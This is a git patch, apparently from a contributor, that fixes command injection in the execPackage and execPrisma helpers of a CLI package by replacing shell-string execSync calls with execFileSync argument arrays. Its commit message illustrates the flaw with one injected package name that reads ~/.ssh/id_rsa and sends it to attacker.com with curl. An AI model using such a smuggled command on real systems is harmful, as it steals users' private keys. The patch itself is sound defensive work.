From 22b95db9648744d076118ca3891d27f8195ecfa2 Mon Sep 17 00:00:00 2001 From: kumburovicbranko682-boop Date: Sun, 28 Jun 2026 08:45:54 +0800 Subject: [PATCH] fix(security)(cli): command injection via unsanitized string concatenation in execpackage and execprisma `execPackage` and `execPrisma` build shell commands by concatenating strings and pass them to `child_process.execSync` (shell mode). If any caller passes user-influenced input (e.g., package names or prisma CLI args derived from CLI arguments, config files, or schema names), an attacker can inject arbitrary shell commands. For example, a crafted package name like `"legit; curl attacker.com/exfil?d=$(cat ~/.ssh/id_rsa)"` would execute the injected command. This is a library with downstream consumers, so the blast radius extends to all consumers who don't sanitize before calling these. The `execPrisma` path is particularly concerning since it's called with `args` that may originate from user-provided Prisma schema or CLI flags. Affected files: exec-utils.ts Signed-off-by: kumburovicbranko682-boop <295886834+kumburovicbranko682-boop@users.noreply.github.com> --- packages/cli/src/utils/exec-utils.ts | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/packages/cli/src/utils/exec-utils.ts b/packages/cli/src/utils/exec-utils.ts index 99ed1be09..8e1a2ed28 100644 --- a/packages/cli/src/utils/exec-utils.ts +++ b/packages/cli/src/utils/exec-utils.ts @@ -1,4 +1,4 @@ -import { execSync as _exec, type ExecSyncOptions } from 'child_process'; +import { execSync as _exec, execFileSync, type ExecSyncOptions } from 'child_process'; import { fileURLToPath } from 'url'; /** @@ -23,7 +23,13 @@ export function execPackage( options?: Omit & { env?: Record }, ): void { const packageManager = process?.versions?.['bun'] ? 'bunx' : 'npx'; - execSync(`${packageManager} ${cmd}`, options); + const [executable, ...args] = cmd.split(' '); + execFileSync(packageManager, [executable, ...args], { + encoding: 'utf-8', + stdio: options?.stdio ?? 'inherit', + env: options?.env ? { ...process.env, ...options.env } : undefined, + ...options, + }); } /** @@ -57,5 +63,10 @@ export function execPrisma(args: string, options?: Omit return; } - execSync(`node "${prismaPath}" ${args}`, _options); + execFileSync('node', [prismaPath, ...args.split(' ')], { + encoding: 'utf-8', + stdio: _options?.stdio ?? 'inherit', + env: _options?.env ? { ...process.env, ..._options.env } : undefined, + ..._options, + }); }